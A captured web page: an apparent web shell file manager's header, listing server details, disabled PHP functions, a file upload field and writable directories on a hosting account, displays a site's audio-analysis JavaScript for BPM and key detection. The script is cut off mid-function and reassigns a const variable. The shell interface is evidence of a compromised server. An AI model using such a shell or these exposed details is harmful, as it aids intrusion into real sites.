T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/public_html/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/public_html/js/audio_analyzer.js
/**
 * Audio Analyzer - BPM and Key Detection
 * Uses Web Audio API to analyze audio and detect BPM, musical key, and energy
 * 
 * Key Detection Improvements:
 * - Uses Temperley profiles (better for modern/pop music) instead of Krumhansl-Schmuckler
 * - Also tests Aarden-Essen profiles and picks the best match
 * - Improved chroma calculation with FFT-based frequency analysis
 * - Analyzes multiple octaves (2-6) with proper weighting
 * - Chroma smoothing to reduce noise
 * 
 * Future improvements:
 * - Could integrate with external APIs (AcousticBrainz, Spotify Audio Features)
 * - Could use Essentia.js library for professional-grade analysis
 * - Could add machine learning model for even better accuracy
 * 
 * @author SoundStudioPro
 */

class AudioAnalyzer {
    constructor() {
        this.audioContext = null;
        this.isAnalyzing = false;
        
        // Camelot wheel mapping (standard to Camelot)
        this.camelotWheel = {
            'A♭ minor': '1A', 'G# minor': '1A', 'Ab minor': '1A',
            'B major': '1B',
            'E♭ minor': '2A', 'D# minor': '2A', 'Eb minor': '2A',
            'F# major': '2B', 'Gb major': '2B',
            'B♭ minor': '3A', 'A# minor': '3A', 'Bb minor': '3A',
            'D♭ major': '3B', 'Db major': '3B', 'C# major': '3B',
            'F minor': '4A',
            'A♭ major': '4B', 'Ab major': '4B', 'G# major': '4B',
            'C minor': '5A',
            'E♭ major': '5B', 'Eb major': '5B', 'D# major': '5B',
            'G minor': '6A',
            'B♭ major': '6B', 'Bb major': '6B', 'A# major': '6B',
            'D minor': '7A',
            'F major': '7B',
            'A minor': '8A',
            'C major': '8B',
            'E minor': '9A',
            'G major': '9B',
            'B minor': '10A',
            'D major': '10B',
            'F# minor': '11A', 'Gb minor': '11A',
            'A major': '11B',
            'D♭ minor': '12A', 'C# minor': '12A', 'Db minor': '12A',
            'E major': '12B'
        };
        
        // Key profiles for detection
        // Using Temperley profiles (better for modern/pop music) instead of Krumhansl-Schmuckler
        // Temperley profiles are more accurate for electronic, pop, rock, and contemporary music
        this.majorProfile = [5.0, 2.0, 3.5, 2.0, 4.5, 4.0, 2.0, 4.5, 2.0, 3.5, 1.5, 4.0];
        this.minorProfile = [5.0, 2.0, 3.0, 4.5, 2.0, 4.0, 2.0, 4.5, 3.5, 2.0, 3.5, 4.0];
        
        // Alternative: Aarden-Essen profiles (also good for modern music)
        this.majorProfileAlt = [17.7661, 0.145624, 14.9265, 0.160186, 19.8049, 11.3587, 0.291248, 22.062, 0.145624, 8.15494, 0.232998, 4.95122];
        this.minorProfileAlt = [18.2648, 0.737619, 14.0499, 16.8599, 0.702494, 14.4362, 0.702494, 18.6161, 4.56621, 1.93186, 7.59219, 1.75623];
        
        // Note names for key detection
        this.noteNames = ['C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#', 'A', 'A#', 'B'];
    }
    
    /**
     * Initialize the audio context
     */
    initAudioContext() {
        if (!this.audioContext) {
            this.audioContext = new (window.AudioContext || window.webkitAudioContext)();
        }
        return this.audioContext;
    }
    
    /**
     * Analyze an audio URL and return BPM, key, and energy
     * @param {string} audioUrl - URL of the audio file
     * @param {function} progressCallback - Called with progress updates
     * @returns {Promise<object>} - Analysis results
     */
    async analyzeAudio(audioUrl, progressCallback = null) {
        if (this.isAnalyzing) {
            console.warn('🎵 Analysis already in progress');
            throw new Error('Analysis is already in progress. Please wait for it to complete.');
        }
        
        this.isAnalyzing = true;
        
        try {
            if (progressCallback) progressCallback('loading', 0);
            
            // Initialize audio context
            const ctx = this.initAudioContext();
            
            // Fetch audio data
            console.log('🎵 Fetching audio from:', audioUrl);
            const response = await fetch(audioUrl);
            if (!response.ok) {
                throw new Error(`Failed to fetch audio: ${response.status}`);
            }
            
            if (progressCallback) progressCallback('loading', 30);
            
            const arrayBuffer = await response.arrayBuffer();
            
            if (progressCallback) progressCallback('decoding', 40);
            
            // Decode audio data
            console.log('🎵 Decoding audio...');
            const audioBuffer = await ctx.decodeAudioData(arrayBuffer);
            
            if (progressCallback) progressCallback('analyzing', 50);
            
            // Get audio data as float array
            const channelData = audioBuffer.getChannelData(0);
            const sampleRate = audioBuffer.sampleRate;
            const duration = audioBuffer.duration;
            
            console.log('🎵 Audio loaded:', { sampleRate, duration: duration.toFixed(2) + 's' });
            
            // SAFETY: Prevent analysis of extremely long files (performance protection)
            if (duration > 600) { // 10 minutes max
                throw new Error('Audio file too long for analysis (max 10 minutes)');
            }
            
            // Detect BPM (already normalized inside detectBPM)
            if (progressCallback) progressCallback('detecting_bpm', 60);
            const detectedBpm = await this.detectBPM(channelData, sampleRate);
            
            console.log('🎵 BPM detection:', { detected: detectedBpm });
            
            // Detect Key
            if (progressCallback) progressCallback('detecting_key', 75);
            const keyInfo = await this.detectKey(channelData, sampleRate);
            
            // Validate keyInfo
            if (!keyInfo || !keyInfo.key || !keyInfo.camelot) {
                console.error('🎵 Key detection failed or returned invalid result:', keyInfo);
                throw new Error('Key detection failed. The audio may be too short or corrupted.');
            }
            
            // Calculate Energy
            if (progressCallback) progressCallback('calculating_energy', 90);
            const energy = this.calculateEnergy(channelData);
            
            // Validate energy
            if (!energy || typeof energy !== 'string') {
                console.warn('🎵 Energy calculation returned invalid value:', energy, '- using fallback');
                // Use fallback - recalculate
                const recalculatedEnergy = this.calculateEnergy(channelData);
                if (recalculatedEnergy && typeof recalculatedEnergy === 'string') {
                    energy = recalculatedEnergy;
                } else {
                    // Last resort fallback
                    energy = 'Medium';
                    console.warn('🎵 Using fallback energy value: Medium');
                }
            }
            
            if (progressCallback) progressCallback('complete', 100);
            
            // Validate detectedBpm
            if (!detectedBpm || detectedBpm <= 0 || !isFinite(detectedBpm)) {
                console.error('🎵 BPM detection returned invalid value:', detectedBpm);
                throw new Error('BPM detection failed. The audio may be too short or corrupted.');
            }
            
            // ABSOLUTE SAFETY: Hard clamp - 188 CANNOT pass through
            // This is the final line of defense against the 188 bug
            let finalBpm = detectedBpm;
            
            // CLEAN: Only normalize clearly wrong values, preserve valid BPMs
            // Valid BPM range: 60-200 (some genres go up to 200 BPM)
            // Only normalize if it's clearly a detection error
            
            // Values > 200: Almost always wrong, halve them
            if (finalBpm > 200) {
                const original = finalBpm;
                while (finalBpm > 200) {
                    finalBpm = finalBpm / 2;
                }
                console.log(`🎵 Normalized very high BPM ${original} → ${finalBpm}`);
            }
            // 188 is a common error (94*2) - normalize it specifically
            else if (Math.abs(finalBpm - 188) < 2) {
                finalBpm = 94;
                console.log(`🎵 Fixed common error: 188 → 94`);
            }
            // Values < 50: Very low, likely wrong, double them
            else if (finalBpm < 50 && finalBpm > 0) {
                const doubled = finalBpm * 2;
                if (doubled <= 200) {
                    finalBpm = doubled;
                    console.log(`🎵 Normalized very low BPM ${detectedBpm} → ${finalBpm}`);
                }
            }
            // Otherwise keep the detected value (60-200 is valid range)
            
            // Final validation before creating result
            if (!keyInfo || !keyInfo.key || !keyInfo.camelot) {
                throw new Error('Key detection returned invalid data. Please try again.');
            }
            
            if (!energy || typeof energy !== 'string') {
                energy = 'Medium'; // Fallback
            }
            
            if (!finalBpm || finalBpm <= 0 || !isFinite(finalBpm)) {
                throw new Error('BPM detection returned invalid value. Please try again.');
            }
            
            const result = {
                bpm: Math.round(finalBpm * 10) / 10, // Round to 1 decimal (e.g., 94.2)
                key: keyInfo.key,
                camelot: keyInfo.camelot,
                confidence: keyInfo.confidence || 0,
                energy: energy,
                duration: Math.round(duration),
                analyzed: true,
                analyzedAt: new Date().toISOString()
            };
            
            // Final validation of result object
            if (!result.bpm || !result.key || !result.camelot) {
                console.error('🎵 Result object validation failed:', result);
                throw new Error('Analysis completed but result is invalid. Please try again.');
            }
            
            console.log('🎵 Final analysis result:', result);
            console.log('🎵 Result validation:', {
                hasBpm: !!result.bpm,
                hasKey: !!result.key,
                hasCamelot: !!result.camelot,
                hasEnergy: !!result.energy,
                bpmValue: result.bpm,
                keyValue: result.key
            });
            
            // Final check before returning
            if (!result || !result.bpm || !result.key || !result.camelot) {
                console.error('🎵 FATAL: Result validation failed before return:', result);
                throw new Error('Result validation failed. Analysis may have encountered an error.');
            }
            
            return result;
            
        } catch (error) {
            console.error('🎵 Analysis error:', error);
            console.error('🎵 Error details:', {
                message: error.message,
                stack: error.stack,
                audioUrl: audioUrl ? 'present' : 'missing'
            });
            
            // Provide more helpful error messages
            let errorMessage = error.message || 'Unknown error during analysis';
            if (error.message && error.message.includes('Failed to fetch')) {
                errorMessage = 'Failed to load audio file. The file may be missing or inaccessible.';
            } else if (error.message && error.message.includes('decodeAudioData')) {
                errorMessage = 'Failed to decode audio file. The file format may not be supported.';
            } else if (error.message && error.message.includes('too long')) {
                errorMessage = 'Audio file is too long for analysis (max 10 minutes).';
            }
            
            // Create a new error with the helpful message
            const helpfulError = new Error(errorMessage);
            helpfulError.originalError = error;
            throw helpfulError;
        } finally {
            this.isAnalyzing = false;
        }
    }
    
    /**
     * Detect BPM using multiple methods and pick the best result
     * RESTORED: Multi-method detection for better accuracy (user feedback: previous was better)
     * OPTIMIZED: Reduced processing time while maintaining accuracy
     */
    async detectBPM(channelData, sampleRate) {
        // Use 30 seconds max for faster processing
        const sampleLength = Math.min(channelData.length, sampleRate * 30);
        const samples = channelData.slice(0, sampleLength);
        
        // Try multiple detection methods (restored for accuracy)
        const results = [];
        
        // Method 1: Autocorrelation on bass frequencies (40-200 Hz) - most reliable
        const bassFiltered = this.bandPassFilter(samples, sampleRate, 40, 200);
        let bpm1 = await this.detectBPMAutocorrelation(bassFiltered, sampleRate);
        if (bpm1 > 0) {
            // Don't normalize here - let the final normalization handle it after averaging
            // This prevents over-normalization of valid BPMs
            results.push(bpm1);
        }
        
        // Method 2: Autocorrelation on kick frequencies (60-100 Hz) - good for electronic music
        const kickFiltered = this.bandPassFilter(samples, sampleRate, 60, 100);
        let bpm2 = await this.detectBPMAutocorrelation(kickFiltered, sampleRate);
        if (bpm2 > 0) {
            // Don't normalize here - let the final normalization handle it
            results.push(bpm2);
        }
        
        // Method 3: Onset-based detection - good for acoustic music
        let onsetBPM = this.detectBPMOnsets(samples, sampleRate);
        if (onsetBPM > 0) {
            // Don't normalize here - let the final normalization handle it
            results.push(onsetBPM);
        }
        
        console.log('🎵 BPM detection results (after normalization):', results);
        
        // Pick the most common value (or average if close)
        if (results.length === 0) {
            return 120; // Fallback
        }
        
        // Group similar BPMs together (within 3 BPM for tighter grouping)
        // This prevents 82 and 94 from being grouped together
        const groups = [];
        for (const bpm of results) {
            let found = false;
            for (const group of groups) {
                // Tighter grouping: within 3 BPM (not 5) to avoid grouping 82 with 94
                if (Math.abs(group.avg - bpm) < 3) {
                    group.values.push(bpm);
                    group.avg = group.values.reduce((a, b) => a + b) / group.values.length;
                    found = true;
                    break;
                }
            }
            if (!found) {
                groups.push({ values: [bpm], avg: bpm });
            }
        }
        
        // Sort by: 1) Most values, 2) Prefer values in common range (60-140)
        groups.sort((a, b) => {
            const aInRange = a.avg >= 60 && a.avg <= 140;
            const bInRange = b.avg >= 60 && b.avg <= 140;
            
            // If one is in range and other isn't, prefer the one in range
            if (aInRange && !bInRange) return -1;
            if (!aInRange && bInRange) return 1;
            
            // Otherwise prefer group with more values
            return b.values.length - a.values.length;
        });
        
        const bestBPM = groups[0].avg;
        console.log('🎵 BPM detection groups:', groups.map(g => `${g.avg.toFixed(1)} (${g.values.length} votes)`));
        console.log('🎵 Selected BPM:', bestBPM);
        
        // Normalize to reasonable range (this should fix 188 -> 94)
        return this.normalizeBPM(bestBPM);
    }
    
    /**
     * Detect BPM using autocorrelation
     */
    async detectBPMAutocorrelation(samples, sampleRate) {
        // OPTIMIZATION: More aggressive downsampling (target ~4kHz instead of 8kHz)
        // This reduces processing time by ~75%
        const downsampleFactor = Math.max(1, Math.floor(sampleRate / 4000));
        const downsampled = [];
        for (let i = 0; i < samples.length; i += downsampleFactor) {
            downsampled.push(Math.abs(samples[i]));
        }
        
        const downsampledRate = sampleRate / downsampleFactor;
        const minBPM = 60;
        const maxBPM = 180;
        
        // Convert BPM range to lag range
        const minLag = Math.floor(downsampledRate * 60 / maxBPM);
        const maxLag = Math.floor(downsampledRate * 60 / minBPM);
        
        // Calculate autocorrelation
        let maxCorr = 0;
        let bestLag = minLag;
        const correlations = [];
        
        // OPTIMIZATION: Reduce window to 10 seconds (instead of 20) for faster processing
        const windowSize = Math.min(downsampled.length, downsampledRate * 10);
        
        for (let lag = minLag; lag <= maxLag; lag++) {
            let corr = 0;
            let count = 0;
            
            for (let i = 0; i < windowSize - lag; i++) {
                corr += downsampled[i] * downsampled[i + lag];
                count++;
            }
            
            if (count > 0) {
                corr /= count;
                correlations.push({ lag, corr });
                
                if (corr > maxCorr) {
                    maxCorr = corr;
                    bestLag = lag;
                }
            }
        }
        
        if (bestLag === 0) return 0;
        
        // Calculate BPM from lag
        let bpm = (downsampledRate * 60) / bestLag;
        
        // Check for subharmonics and harmonics (improved detection)
        // Check both half-beat (subharmonic) and double-beat (harmonic) patterns
        const candidates = [{ bpm, corr: maxCorr, lag: bestLag }];
        
        // Check subharmonic (half-beat): if we found 164, actual might be 82
        if (bpm > 140) {
            const halfLag = bestLag * 2;
            if (halfLag <= maxLag) {
                let halfCorr = 0;
                let count = 0;
                for (let i = 0; i < windowSize - halfLag; i++) {
                    halfCorr += downsampled[i] * downsampled[i + halfLag];
                    count++;
                }
                if (count > 0) halfCorr /= count;
                
                if (halfCorr > maxCorr * 0.6) {
                    const halfBpm = (downsampledRate * 60) / halfLag;
                    candidates.push({ bpm: halfBpm, corr: halfCorr, lag: halfLag });
                }
            }
        }
        
        // Check harmonic (double-beat): if we found 41, actual might be 82
        if (bpm < 100) {
            const doubleLag = Math.floor(bestLag / 2);
            if (doubleLag >= minLag) {
                let doubleCorr = 0;
                let count = 0;
                for (let i = 0; i < windowSize - doubleLag; i++) {
                    doubleCorr += downsampled[i] * downsampled[i + doubleLag];
                    count++;
                }
                if (count > 0) doubleCorr /= count;
                
                if (doubleCorr > maxCorr * 0.6) {
                    const doubleBpm = (downsampledRate * 60) / doubleLag;
                    candidates.push({ bpm: doubleBpm, corr: doubleCorr, lag: doubleLag });
                }
            }
        }
        
        // Pick the candidate with best correlation, but prefer values in 60-140 range
        candidates.sort((a, b) => {
            // Prefer values in common range (60-140)
            const aInRange = a.bpm >= 60 && a.bpm <= 140;
            const bInRange = b.bpm >= 60 && b.bpm <= 140;
            if (aInRange && !bInRange) return -1;
            if (!aInRange && bInRange) return 1;
            // Otherwise prefer higher correlation
            return b.corr - a.corr;
        });
        
        return candidates[0].bpm;
    }
    
    /**
     * Detect BPM using onset detection
     */
    detectBPMOnsets(samples, sampleRate) {
        // Apply low-pass filter to focus on bass/drums
        const filtered = this.lowPassFilter(samples, sampleRate, 200);
        
        // Detect onsets
        const onsets = this.detectOnsets(filtered, sampleRate);
        
        if (onsets.length < 4) {
            return 0;
        }
        
        // Calculate intervals between onsets
        const intervals = [];
        for (let i = 1; i < onsets.length; i++) {
            intervals.push(onsets[i] - onsets[i-1]);
        }
        
        // Find the most common interval
        const beatPeriod = this.findMostCommonInterval(intervals, sampleRate);
        
        if (beatPeriod <= 0) return 0;
        
        // Convert to BPM
        return 60 / beatPeriod;
    }
    
    /**
     * Band-pass filter
     */
    bandPassFilter(samples, sampleRate, lowFreq, highFreq) {
        // Simple band-pass using two filters
        const lowPassed = this.lowPassFilter(samples, sampleRate, highFreq);
        const highPassed = this.highPassFilter(lowPassed, sampleRate, lowFreq);
        return highPassed;
    }
    
    /**
     * High-pass filter
     */
    highPassFilter(samples, sampleRate, cutoff) {
        const RC = 1.0 / (cutoff * 2 * Math.PI);
        const dt = 1.0 / sampleRate;
        const alpha = RC / (RC + dt);
        
        const filtered = new Float32Array(samples.length);
        filtered[0] = samples[0];
        
        for (let i = 1; i < samples.length; i++) {
            filtered[i] = alpha * (filtered[i-1] + samples[i] - samples[i-1]);
        }
        
        return filtered;
    }
    
    /**
     * Simple low-pass filter
     */
    lowPassFilter(samples, sampleRate, cutoff) {
        const RC = 1.0 / (cutoff * 2 * Math.PI);
        const dt = 1.0 / sampleRate;
        const alpha = dt / (RC + dt);
        
        const filtered = new Float32Array(samples.length);
        filtered[0] = samples[0];
        
        for (let i = 1; i < samples.length; i++) {
            filtered[i] = filtered[i-1] + alpha * (samples[i] - filtered[i-1]);
        }
        
        return filtered;
    }
    
    /**
     * Detect onsets (sudden increases in energy)
     */
    detectOnsets(samples, sampleRate) {
        const hopSize = Math.floor(sampleRate * 0.01); // 10ms hop
        const windowSize = Math.floor(sampleRate * 0.05); // 50ms window
        
        const onsets = [];
        let prevEnergy = 0;
        
        for (let i = 0; i < samples.length - windowSize; i += hopSize) {
            let energy = 0;
            for (let j = 0; j < windowSize; j++) {
                energy += samples[i + j] * samples[i + j];
            }
            energy /= windowSize;
            
            // Detect onset if energy increased significantly
            if (energy > prevEnergy * 1.5 && energy > 0.001) {
                onsets.push(i / sampleRate);
            }
            
            prevEnergy = energy;
        }
        
        return onsets;
    }
    
    /**
     * Find the most common interval using histogram
     */
    findMostCommonInterval(intervals, sampleRate) {
        // Create histogram of intervals
        const binSize = 0.01; // 10ms bins
        const histogram = {};
        
        for (const interval of intervals) {
            const bin = Math.round(interval / binSize);
            histogram[bin] = (histogram[bin] || 0) + 1;
        }
        
        // Find peak in histogram
        let maxCount = 0;
        let peakBin = 0;
        
        for (const bin in histogram) {
            if (histogram[bin] > maxCount) {
                maxCount = histogram[bin];
                peakBin = parseInt(bin);
            }
        }
        
        return peakBin * binSize;
    }
    
    /**
     * Fallback BPM detection using autocorrelation
     */
    fallbackBPM(samples, sampleRate) {
        // Downsample for faster processing
        const downsampleFactor = 8;
        const downsampled = [];
        for (let i = 0; i < samples.length; i += downsampleFactor) {
            downsampled.push(Math.abs(samples[i]));
        }
        
        const downsampledRate = sampleRate / downsampleFactor;
        
        // Calculate autocorrelation for lag corresponding to 60-180 BPM
        const minLag = Math.floor(downsampledRate * 60 / 180); // 180 BPM
        const maxLag = Math.floor(downsampledRate * 60 / 60);  // 60 BPM
        
        let maxCorr = 0;
        let bestLag = minLag;
        
        for (let lag = minLag; lag <= maxLag; lag++) {
            let corr = 0;
            const len = Math.min(downsampled.length - lag, 5000);
            
            for (let i = 0; i < len; i++) {
                corr += downsampled[i] * downsampled[i + lag];
            }
            
            if (corr > maxCorr) {
                maxCorr = corr;
                bestLag = lag;
            }
        }
        
        return (downsampledRate * 60) / bestLag;
    }
    
    /**
     * Detect musical key using improved chroma features
     * OPTIMIZED: Use single method and shorter analysis window for performance
     */
    async detectKey(channelData, sampleRate) {
        // OPTIMIZATION: Use only 15 seconds max (instead of 60) and single window
        const maxLength = sampleRate * 15; // 15 seconds max
        const sampleLength = Math.min(channelData.length, maxLength);
        const samples = channelData.slice(0, sampleLength);
        
        // OPTIMIZATION: Use only ONE chroma method (improved) instead of 3
        // This reduces processing time by 66%
        const chroma = this.calculateChromaImproved(samples, sampleRate);
        
        // Debug: Log chroma values to verify they're different per track
        console.log('🎵 Chroma values:', Array.from(chroma).map(v => v.toFixed(3)));
        
        // Normalize
        const sum = chroma.reduce((a, b) => a + b, 0);
        if (sum > 0) {
            for (let i = 0; i < 12; i++) {
                chroma[i] /= sum;
            }
        } else {
            console.warn('🎵 WARNING: Chroma sum is zero - detection may be inaccurate');
        }
        
        // Detect key from chroma
        const keyInfo = this.detectKeyFromChroma(chroma);
        console.log('🎵 Detected key:', keyInfo);
        
        // Validate and provide fallback if needed
        if (!keyInfo || !keyInfo.key || !keyInfo.camelot) {
            console.warn('🎵 Key detection returned invalid result, using fallback:', keyInfo);
            return {
                key: 'C major',
                camelot: '8B',
                confidence: 0
            };
        }
        
        return keyInfo;
    }
    
    /**
     * Detect key from a single chroma vector
     */
    detectKeyFromChroma(chroma) {
        // Compare with major and minor profiles for each key
        // Try both Temperley and Aarden-Essen profiles, pick the best
        let bestKey = 'C major';
        let bestCorrelation = -1;
        const correlations = [];
        
        // Test with both profile sets
        const profileSets = [
            { major: this.majorProfile, minor: this.minorProfile, name: 'Temperley' },
            { major: this.majorProfileAlt, minor: this.minorProfileAlt, name: 'Aarden-Essen' }
        ];
        
        for (const profileSet of profileSets) {
            for (let keyIndex = 0; keyIndex < 12; keyIndex++) {
                // Rotate chroma to align with key
                const rotatedChroma = this.rotateArray(chroma, keyIndex);
                
                // Correlate with major profile
                const majorCorr = this.correlate(rotatedChroma, profileSet.major);
                correlations.push({
                    key: this.noteNames[keyIndex] + ' major',
                    correlation: majorCorr,
                    isMinor: false
                });
                
                if (majorCorr > bestCorrelation) {
                    bestCorrelation = majorCorr;
                    bestKey = this.noteNames[keyIndex] + ' major';
                }
                
                // Correlate with minor profile
                const minorCorr = this.correlate(rotatedChroma, profileSet.minor);
                correlations.push({
                    key: this.noteNames[keyIndex] + ' minor',
                    correlation: minorCorr,
                    isMinor: true
                });
                
                if (minorCorr > bestCorrelation) {
                    bestCorrelation = minorCorr;
                    bestKey = this.noteNames[keyIndex] + ' minor';
                }
            }
        }
        
        // Debug: Log top correlations to see what's being detected
        correlations.sort((a, b) => b.correlation - a.correlation);
        const top3 = correlations.slice(0, 3);
        console.log('🎵 Top 3 key correlations:', top3.map(c => {
            const camelot = this.getCamelotKey(c.key);
            return `${c.key} (${camelot}): ${c.correlation.toFixed(3)}`;
        }));
        
        // Get Camelot notation
        const camelot = this.getCamelotKey(bestKey);
        
        // Calculate confidence from correlation (normalize -1 to 1 range to 0-100)
        const confidence = Math.round(((bestCorrelation + 1) / 2) * 100);
        
        console.log('🎵 Selected key:', { key: bestKey, camelot, confidence, correlation: bestCorrelation.toFixed(3) });
        
        return {
            key: bestKey,
            camelot: camelot,
            confidence: Math.min(100, Math.max(0, confidence)),
            correlation: bestCorrelation
        };
    }
    
    /**
     * Vote on key from multiple window analyses
     */
    voteOnKey(keyVotes) {
        if (keyVotes.length === 0) {
            return {
                key: 'C major',
                camelot: '8B',
                confidence: 0
            };
        }
        
        // Count votes for each key
        const voteCounts = {};
        let totalCorrelation = 0;
        
        for (const vote of keyVotes) {
            const key = vote.key;
            if (!voteCounts[key]) {
                voteCounts[key] = { count: 0, totalCorr: 0 };
            }
            voteCounts[key].count++;
            voteCounts[key].totalCorr += vote.correlation;
            totalCorrelation += vote.correlation;
        }
        
        // Find key with most votes
        let bestKey = 'C major';
        let maxVotes = 0;
        let bestAvgCorr = 0;
        
        for (const [key, data] of Object.entries(voteCounts)) {
            const avgCorr = data.totalCorr / data.count;
            // Weight by both vote count and average correlation
            const score = data.count * 0.6 + avgCorr * 0.4;
            
            if (score > maxVotes || (score === maxVotes && avgCorr > bestAvgCorr)) {
                maxVotes = score;
                bestKey = key;
                bestAvgCorr = avgCorr;
            }
        }
        
        // Get Camelot notation
        const camelot = this.getCamelotKey(bestKey);
        
        // Confidence based on agreement and correlation
        const agreement = voteCounts[bestKey].count / keyVotes.length;
        const avgCorrelation = voteCounts[bestKey].totalCorr / voteCounts[bestKey].count;
        const confidence = Math.round((agreement * 0.5 + (avgCorrelation + 1) / 2 * 0.5) * 100);
        
        return {
            key: bestKey,
            camelot: camelot,
            confidence: Math.min(100, Math.max(0, confidence))
        };
    }
    
    /**
     * Calculate CENS (Chroma Energy Normalized Statistics) - most robust chroma representation
     * This is used in professional audio analysis tools
     */
    calculateChromaCENS(samples, sampleRate) {
        const fftSize = 16384;
        const hopSize = fftSize / 4;
        const sampleLength = Math.min(samples.length, sampleRate * 30);
        
        // Step 1: Calculate chroma features
        const chromaFrames = [];
        const numFrames = Math.floor((sampleLength - fftSize) / hopSize);
        
        for (let frame = 0; frame < numFrames; frame++) {
            const offset = frame * hopSize;
            const frameData = samples.slice(offset, offset + fftSize);
            
            // Apply window
            for (let i = 0; i < frameData.length; i++) {
                frameData[i] *= 0.5 * (1 - Math.cos(2 * Math.PI * i / (frameData.length - 1)));
            }
            
            // Calculate chroma for this frame
            const frameChroma = new Float32Array(12);
            const fft = this.fft(frameData);
            const magnitude = fft.magnitude;
            
            for (let pitchClass = 0; pitchClass < 12; pitchClass++) {
                let energy = 0;
                for (let octave = 2; octave <= 6; octave++) {
                    const freq = 440 * Math.pow(2, (pitchClass - 9 + (octave - 4) * 12) / 12);
                    const binIndex = Math.round(freq * fftSize / sampleRate);
                    if (binIndex > 0 && binIndex < magnitude.length) {
                        energy += magnitude[binIndex];
                    }
                }
                frameChroma[pitchClass] = energy;
            }
            
            // Normalize frame
            const sum = frameChroma.reduce((a, b) => a + b, 0);
            if (sum > 0) {
                for (let i = 0; i < 12; i++) {
                    frameChroma[i] /= sum;
                }
            }
            
            chromaFrames.push(Array.from(frameChroma));
        }
        
        // Step 2: Quantize chroma (CENS quantization)
        const quantizedFrames = chromaFrames.map(chroma => {
            const quantized = new Float32Array(12);
            for (let i = 0; i < 12; i++) {
                // Quantize to 5 levels (0-4)
                quantized[i] = Math.min(4, Math.floor(chroma[i] * 5));
            }
            return Array.from(quantized);
        });
        
        // Step 3: Smooth over time (temporal smoothing)
        const smoothed = [];
        const smoothingWindow = 3; // 3 frames
        
        for (let i = 0; i < quantizedFrames.length; i++) {
            const smoothedFrame = new Float32Array(12);
            let count = 0;
            
            for (let j = Math.max(0, i - smoothingWindow); j <= Math.min(quantizedFrames.length - 1, i + smoothingWindow); j++) {
                for (let k = 0; k < 12; k++) {
                    smoothedFrame[k] += quantizedFrames[j][k];
                }
                count++;
            }
            
            for (let k = 0; k < 12; k++) {
                smoothedFrame[k] /= count;
            }
            
            smoothed.push(Array.from(smoothedFrame));
        }
        
        // Step 4: Average over all frames
        const finalChroma = new Float32Array(12);
        for (const frame of smoothed) {
            for (let i = 0; i < 12; i++) {
                finalChroma[i] += frame[i];
            }
        }
        
        for (let i = 0; i < 12; i++) {
            finalChroma[i] /= smoothed.length;
        }
        
        // Normalize
        const sum = finalChroma.reduce((a, b) => a + b, 0);
        if (sum > 0) {
            for (let i = 0; i < 12; i++) {
                finalChroma[i] /= sum;
            }
        }
        
        return Array.from(finalChroma);
    }
    
    /**
     * Improved chroma calculation using FFT-based frequency analysis
     */
    calculateChromaImproved(samples, sampleRate) {
        const chroma = new Float32Array(12).fill(0);
        // OPTIMIZATION: Reduce FFT size from 16384 to 8192 (4x faster, still accurate)
        const fftSize = 8192;
        const hopSize = fftSize / 2;
        
        // OPTIMIZATION: Use only 15 seconds (matching detectKey) instead of 60
        const sampleLength = Math.min(samples.length, sampleRate * 15);
        const numFrames = Math.floor((sampleLength - fftSize) / hopSize);
        
        // Safety check
        if (numFrames <= 0) {
            console.warn('🎵 WARNING: Not enough samples for chroma calculation');
            return chroma;
        }
        
        // Use Web Audio API AnalyserNode if available for faster FFT
        const useWebAudioFFT = this.audioContext && typeof this.audioContext.createAnalyser === 'function';
        
        for (let frame = 0; frame < numFrames; frame++) {
            const offset = frame * hopSize;
            const frameData = samples.slice(offset, offset + fftSize);
            
            // Apply Hann window
            for (let i = 0; i < frameData.length; i++) {
                frameData[i] *= 0.5 * (1 - Math.cos(2 * Math.PI * i / (frameData.length - 1)));
            }
            
            // Calculate FFT magnitude spectrum
            const fft = this.fft(frameData);
            const magnitude = fft.magnitude;
            const freqs = fft.frequencies;
            
            // Map FFT bins to chroma bins using log-frequency mapping
            for (let pitchClass = 0; pitchClass < 12; pitchClass++) {
                let energy = 0;
                
                // OPTIMIZATION: Reduce octave range from 2-6 to 3-5 (still accurate, faster)
                for (let octave = 3; octave <= 5; octave++) {
                    // Calculate exact frequency for this pitch class and octave
                    const freq = 440 * Math.pow(2, (pitchClass - 9 + (octave - 4) * 12) / 12);
                    
                    // Find closest FFT bin
                    const binIndex = Math.round(freq * fftSize / sampleRate);
                    
                    if (binIndex > 0 && binIndex < magnitude.length) {
                        // Get energy at this frequency
                        let binEnergy = magnitude[binIndex];
                        
                        // Also check neighboring bins (weighted average for smoother results)
                        if (binIndex > 0) binEnergy += magnitude[binIndex - 1] * 0.3;
                        if (binIndex < magnitude.length - 1) binEnergy += magnitude[binIndex + 1] * 0.3;
                        
                        // Weight by octave (lower octaves more important for key detection)
                        const octaveWeight = 1.0 / (octave - 1);
                        energy += binEnergy * octaveWeight;
                    }
                }
                
                chroma[pitchClass] += energy;
            }
        }
        
        // Apply smoothing to chroma vector (helps with noisy signals)
        const smoothed = this.smoothChroma(chroma);
        
        // Normalize
        const sum = smoothed.reduce((a, b) => a + b, 0);
        if (sum > 0) {
            for (let i = 0; i < 12; i++) {
                smoothed[i] /= sum;
            }
        }
        
        return Array.from(smoothed);
    }
    
    /**
     * Optimized DFT implementation for frequency analysis
     * Uses windowing and efficient calculation for better accuracy
     */
    fft(samples) {
        const N = samples.length;
        const magnitude = new Float32Array(N / 2);
        
        // Optimized DFT with pre-computed constants
        for (let k = 0; k < N / 2; k++) {
            let real = 0;
            let imag = 0;
            
            const angleIncrement = -2 * Math.PI * k / N;
            
            // Unroll loop for better performance (process 4 samples at a time)
            let n = 0;
            for (; n < N - 3; n += 4) {
                const angle0 = angleIncrement * n;
                const angle1 = angleIncrement * (n + 1);
                const angle2 = angleIncrement * (n + 2);
                const angle3 = angleIncrement * (n + 3);
                
                real += samples[n] * Math.cos(angle0) + 
